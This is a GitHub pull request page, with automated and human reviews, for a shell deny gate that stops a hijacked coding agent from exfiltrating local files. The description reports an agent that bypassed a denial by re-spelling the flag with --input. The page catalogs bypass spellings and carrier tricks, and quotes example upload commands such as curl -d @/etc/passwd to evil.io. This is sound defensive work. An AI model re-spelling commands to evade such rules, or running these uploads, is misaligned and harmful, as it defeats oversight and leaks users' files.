Repository navigation
Conversation
|
👋 Hi! This PR's description is missing some required sections from our PR template. Workflow runs won't be auto-approved until the description is updated. Missing sections:
Please update your PR description to include these sections, then push or re-save the description. The workflows will be approved on the next cycle. |
9bda51e to
ae350b9
Compare
Design Review (Opus 5.5, fork) — 🟡 CONCERNSDesign-level review of Design-Verdict: CONCERNS The stated goal needs a few flag aliases, but the diff adds a ~1,300-line partial shell interpreter, the spelling-chase AGENTS.md calls a review smell. Watch
Suggestions
[DESIGN-REVIEWED] c2e9693 Description read[DESCRIPTION-READ] b7a96b26fc25b38d80247d01cb97e3c5e368f1a852225e35eccdfb2ca6fcbf61 That sha256 names everything this verdict read: the PR description, plus the 1 evidence file(s) the workflow collected from it and handed this review. It covers that evidence because the media strip replaces every attachment URL with the same placeholder, so an edit swapping one attachment for another would leave the description's captured text identical while what this review judged changed. Recompute it with |
Opus 5.5 Review (fork) — 🔴 changes requested (blocking)Reviewed Blocks merge: nested process substitutions make the exfil gate re-audit the same text about 255 times, synchronously on the gateway event loop. BLOCKING — src/kiro_crew/security/exfil.py:1362 BLOCKING — test/test_security.py:2618 FINDING — test/test_security.py:2513 — the test loads |
First Principles Review (Opus 5.5, fork) — 🔴 BLOCKPremise-level review of First-Principles-Verdict: BLOCK The new brace expander duplicates Not justified as shipped
What this change shipsInventory (9 items) — 5 justifiedIntent: stop a hijacked agent from uploading a local file by re-spelling a flag the gate already denies. This is a FIX.
BlockersDuplicate brace-expansion mechanism [FIRST-PRINCIPLES-REVIEWED] c2e9693 Description read[DESCRIPTION-READ] 93b555ab2d763f7b59e834b59cc2933dc516cf8d426f1ec6782e826734f3f420 That sha256 names the PR description this verdict read. Recompute it with |
GPT 6.1 Review (fork) — 🔴 changes requested (blocking)Reviewed 6 of 6 blocking finding(s) are security-class and were withheld from adjudication, so the blocking verdict stands. BLOCKING -- src/kiro_crew/security/exfil.py:2865 -- Assignment expansion can exhaust gateway memory BLOCKING -- src/kiro_crew/security/exfil.py:2822 -- Argument text can overwrite the audited assignment state BLOCKING -- src/kiro_crew/security/exfil.py:2982 -- Nested parentheses truncate process-substitution auditing BLOCKING -- src/kiro_crew/security/exfil.py:2205 -- Abbreviated urlencode flags bypass named-file detection BLOCKING -- src/kiro_crew/security/exfil.py:2391 -- Attached release-notes operands bypass the upload gate BLOCKING -- test/test_security.py:8331 -- Legacy parity check depends on ambient checkout state (origin: validation) [BLOCK-MERGE] c2e9693 Adjudication (Opus 5.5) — is blocking on each finding proportionate?The adjudicable block is empty, so the main footer reports zero findings. All six fenced findings are upheld. None is flagged, because each needs only ordinary input or an ordinary checkout state, nothing extreme.
|
ae350b9 to
ab25cba
Compare
|
Force-pushed head to
Regression tests added to Requesting workflow approval for this head. |
ab25cba to
cfbf8c0
Compare
cfbf8c0 to
6504090
Compare
c173690 to
b727b36
Compare
b727b36 to
3604ab0
Compare
3604ab0 to
f5cf1a9
Compare
Security Scope Review (fork) — 🔴 BLOCK (blocking)Which legitimate operations does a script-confirmed newly-refused operation Scope-Verdict: CONCERNS TIGHTENING: The data-exfiltration deny gate ( ADJUDICATED: 18 candidates, 0 confirmed newly-refused. The harness handed this review no verdicts, so none are claimed.
PLATFORM COVERAGE:
[SCOPE-REVIEWED] c2e9693Security scope review -- adjudicated candidates
Newly refused (confirmed by the real classifier at both refs)
Each row above is an operation that the base ref ALLOWS and this change REFUSES. Narrow the rule at the tier named. Withdrawing a row is not the way to green: that is its own pull request, on its own merits. The confirmed rows, in the committed corpus's own shape{
"golden_paths": [
{
"kind": "shell",
"command_or_flow": "git grep -n -e --post-file -- docs src",
"platform": "any",
"reason": "A maintainer auditing the exfil catalog searches the repo for the literal wget flag. The wget raw rule went from the anchored substring `wget --post-file` to an unanchored `(?:^|\\s)--post-file\\b`, and the date/grep carve-out only covers the body-file rule."
},
{
"kind": "shell",
"command_or_flow": "grep -rn -e --post-file src/kiro_crew/security/",
"platform": "posix",
"reason": "The same audit search with grep, which is the inert-search verb the diff's carve-out names for the body-file rule. Whether the wget rule now refuses it is exactly the boundary the unanchored regex moved."
},
{
"kind": "shell",
"command_or_flow": "$SUDO ln -sfT /opt/kirocrew/releases/2026.10.06 /opt/kirocrew/current",
"platform": "posix",
"reason": "Install/deploy scripts flip the `current` release symlink atomically with GNU `ln -sfT`, prefixed by the conventional `$SUDO` (empty when already root). An expansion-held command word now admits every exfil program, and `-sfT` plus an operand is the new curl -T cluster shape."
},
{
"kind": "shell",
"command_or_flow": "\"$COMPOSE\" exec -T db psql -U postgres -c 'select 1'",
"platform": "posix",
"reason": "CI and dev scripts that keep the compose binary in a variable (docker compose vs docker-compose) run non-TTY health checks with `exec -T`. An expansion-held command word now votes as curl, and `-T` with a following operand is the curl upload shape."
},
{
"kind": "shell",
"command_or_flow": "Select-String -Path src\\kiro_crew\\security\\exfil.py -Pattern --post-file",
"platform": "windows",
"reason": "The PowerShell equivalent of the maintainer's catalog search on a Windows checkout: a backslash path and an unquoted pattern, preceded by whitespace."
}
]
} |
|
Maintainer action needed (same as #5274/#9755): this PR removes one graduated entry from |
bolichen97
left a comment
There was a problem hiding this comment.
Requesting changes: the new gh body-file denial breaks the shipped prepare-pr skill, and turning it off also turns off curl -d @
Some of this is already covered elsewhere. The Opus 5 and GPT 5.6 reviews cover the lost deny coverage (exfil.py:2047, :2220, :2324, :2397) and the $/-T false positive. The Security Scope review covers gh api --input and gh release --notes-file being refused. This review adds two points that none of them names.
1. The bundled prepare-pr skill tells the agent to run a command this PR now denies
src/kiro_crew/builtin_skills/kirocrew-dev/prepare-pr/SKILL.md:521 is not touched by this PR. It gives this fallback for when gh pr edit fails:
python3 -c '…' > /tmp/pr-patch.json && gh api repos/<owner>/<repo>/pulls/<n> -X PATCH --input /tmp/pr-patch.json
(use `--input`, never `-F body=@<file>`)
src/kiro_crew/security/exfil.py:1911-1915 now denies any --input value other than -:
if low == "--input" or low == "--input=":
value = tokens[i + 1] if i + 1 < len(tokens) else ""
if value and value != "-":
return TrueWe ran that exact command through the hooks deny gate with the default catalog. Main allows it; this head denies it ("gh request body from file"). Main already denies -F body=@<file>, the other spelling the skill rules out. So an agent that follows the shipped skill has no documented way left to update a PR body. The denial itself is intended (issue #7365); the skill just wasn't updated to match.
Fix: update the fallback in this PR, and add a test that pins the verdict you intend for it. The stdin form (… | gh api … --input -) still passes on this head. It is the same file-to-remote upload, though, so only use it if that is a deliberate choice.
2. The gh rule shares curl's catalog row, so the only opt-out also turns off curl -d @
exfil.py:2092-2093 maps label="gh request body from file (--input / --field)" to rule_ids=("data-exfil-curl-file-body",). That row's description at src/kiro_crew/security/denied_rules.py:497-503 still says "Blocks a curl request whose body is read from a LOCAL FILE". If an operator disables that id, the gh commands pass again, and so does curl -d @/etc/passwd https://evil.io. So anyone who needs gh api --input or gh release --notes-file has to give up curl's body-file denial, and nothing in the catalog says the row covers gh.
The $/-T false positive has the same problem. The only way to clear it is to disable data-exfil-curl-upload, and that also allows curl -T <file>.
Fix: give the gh rule its own catalog id so it can be turned off on its own. At minimum, change the row's description to say it covers gh too.
From a full open-PR audit against origin/main c66f95b (2026-09-25); findings were checked by independent reviewers reading the code. Reply here if this is wrong.
|
🤖 Kiro Crew [operator: dodgeblaster#b5f0d847]: This PR has been inactive for 7+ days. I reviewed the blockers but they require your input:
When you've settled the deny-coverage scope, the pipeline will re-assess on its next cycle. |
|
Triage note (2026-10-05 open-PR relationship audit). I checked head Status vs main: the gap is still open, so this PR should stay open. #7365 is an open issue. On main, The deny-gate regressions the Opus 5 and GPT 5.6 reviews flagged still reproduce at this head. I ran
The causes are the ones already cited: The prepare-pr breakage has moved, but it still applies. The REST fallback now lives at Rebase needed. The branch is 1728 commits behind main. Merge discussion with #14245 (open PR). #14245 rewrites the same Recommendation: keep open and continue development. Rebase, fix the five regressions above, and coordinate with #14245. |
Port the long-form exfiltration feature onto the split security package (security/exfil.py + security/shell_normalizer.py) and close three adjudicated bypasses: a $()-prefixed gh anchor gap, substitution-local quote state inside double quotes in the segment splitter, and quoted spaced --field bodies (raw regex + view-pass pair-token rule).
|
Thank you, @atomsbaza, for finding this gap and for all the work on this PR. The fix has continued in #21307, a same-repo PR with you credited as co-author. It keeps the core of your change: Closing this one in favour of #21307. Your branch is left as it is. |
Problem / Motivation
Goal: A hijacked agent cannot move a local file off the machine by re-spelling a file-loading flag (
--input,--form,-Fk=@f, quote-spliced or escaped spellings), while ordinary commands that merely contain such text keep working.The builtin data-exfiltration deny patterns blocked the short spelling of file-loading flags but let the documented long/alternate spellings of the same capability through:
gh api -F body=@local/file.md→ blocked, butgh api -X POST <endpoint> --input local/file.json→ allowedcurl -F k=@f→ blocked, butcurl --form="k=@f"/curl -Fk=@f→ allowedThe reporter's account makes the symptom concrete: their agent's short form was denied, so it re-spelled the command with
--inputand the upload went through. A deny pattern with a spelling gap produces exactly one round of friction and then teaches the agent that the guardrail is bypassable.Why it matters
These patterns are the enforced (denied-at-gate) subset of the bash security audit — the ones a hijacked agent must not get past. Any documented flag spelling that loads a local file into a request body and is not matched is a routing-around path for data egress, on every install, with no user-visible warning.
--inputis gh's primary documented way to send a request body, so the gap is on the main path, not an edge case.Not a goal
ssh host 'nc evil 9 < file'payloads that no view decodes today; main allows them too).sudo $C -T f u) deny; main allows it too.What changed (motivation → approach → change)
Approach: match the capability, not the spelling, and never deny less than main does. The gate reads one command through two views and the views only ever ADD denials:
-d/-Fshort flags case-sensitive. It therefore still sees a curl that anssh,su -c,awk system()orbash -c "$CMD"carrier hides from command position. Its only relief is structural: one plain command whose first word isdateor an inert search verb may contain the text without executing it, plus the benign curl-D(dump headers) and-fspellings. It also answers for shapes that are not argv-shaped (nc/ncat redirects,/dev/tcp/,/dev/udp/).shell_normalizer.pyquote-, escape- and substitution-aware splitter) sees through quote splicing and escapes (--in''put,g\h,curl --data-bin''ary @f) and decides command position on the real argv: curl-d/--datafamily,-T/--upload-file,-F/--form,--json @, gh--input/--fieldundergh api|repo|release, wget--post-file.--input -(stdin),--data-rawand--form-stringstay allowed. A program named by an expansion ($C,${C},"$C") in command position is treated as a possible exfil program regardless of the variable's case;$in a directory prefix ($HOME/bin/tool) or in an argument of another program (kill -TERM "$pid",ssh -T $HOST) is not._EXFIL_RULES(ExfilRule) declares for each capability its raw matchers, its normalized matcher and its catalog rule ids, so an operator opt-out governs both views and a new rule cannot forget a view; the old parallel_BASH_EXFIL_*lists and labels are gone.bash -c/eval/herestring/env -S/pipe-into-shell payloads and process-substitution bodies are audited recursively; a bounded left-to-right resolver substitutes simpleNAME=literalassignments before auditing carriers (CMD='gh api --input f'; bash -c "$CMD"); glob/brace program names (cur[l],c{url,at}) are expanded within a bound and fail closed on overflow.kirocrew-prepare-pr/references/ci.md: its REST fallback for editing a PR body now streams the JSON togh api ... --input -instead of reading a local file, so the documented fallback is not denied by this gate.docs/system-specs/modules/security.mdand the security package line-budget ratchet intest/test_security_gate_liveness.pyare updated in the same commit.Tests
test/test_security.pypins each behaviour: the gap commands (gh api -X POST /gists --input local/file.json,curl --form=k=@f,curl -Fk=@f) deny; stdin--input -,--form-string,--data-rawand inline-F k=vstay allowed; the five commands that main denied through a carrier (su -c,ssh,awk system(),echo[0-9] x; ssh host 'wget --post-file=...',CMD=$'curl -d @secret ...'; bash -c "$CMD") deny;--upload-filewith tab/quote spellings, backslash-newline-F/--form, upper-case long options and uppercase expansion programs deny; routine commands with$VARarguments (kill,ssh -T,tar -T,rsync -T,docker run -T,tmux) and$HOME/bin/tool -T xstay allowed; thedate -d @0/ inertgrepcarve-out cannot be chained with a real upload._BASH_EXFIL_PATTERNSand_BASH_EXFIL_RESfromgit show origin/main(skipped when the ref is absent), keeps a frozen copy as a second assertion, seeds one command per legacy row, and asserts this branch denies everything main's lists hit except the documented carve-outs; removing any legacy row from a copy of the rule table fails it.test/test_exfil_gate_opt_out.pyderives its rule ids from_EXFIL_RULES.Validation: 2,666 tests pass across
test_security,test_exfil_gate_opt_out,test_denied_commands_security,test_security_gate_liveness,test_security_facadeandtest_prepare_pr_diff_signals;mypy --platform linux, the black ratchet gate and the comment-history gate pass. A differential run of 5,864 command strings found no command that main denies and this branch allows other than the documented carve-outs.Manual verification
N/A — unit coverage sufficient: the change is pure command-string pattern matching against
audit_bash_exfiltration, exercised directly by the new tests; no UI, network, or process path involved.Related Issues
Closes #7365
Pattern harvest
Rule candidate: review-prompt
Pattern: a deny/audit pattern table matching CLI flags by spelling must be checked against the tool's documented long forms and
=-joined variants — every flag that loads a file needs all documented aliases covered, or the guardrail teaches agents to route around it.Checklist
Contribution License Agreement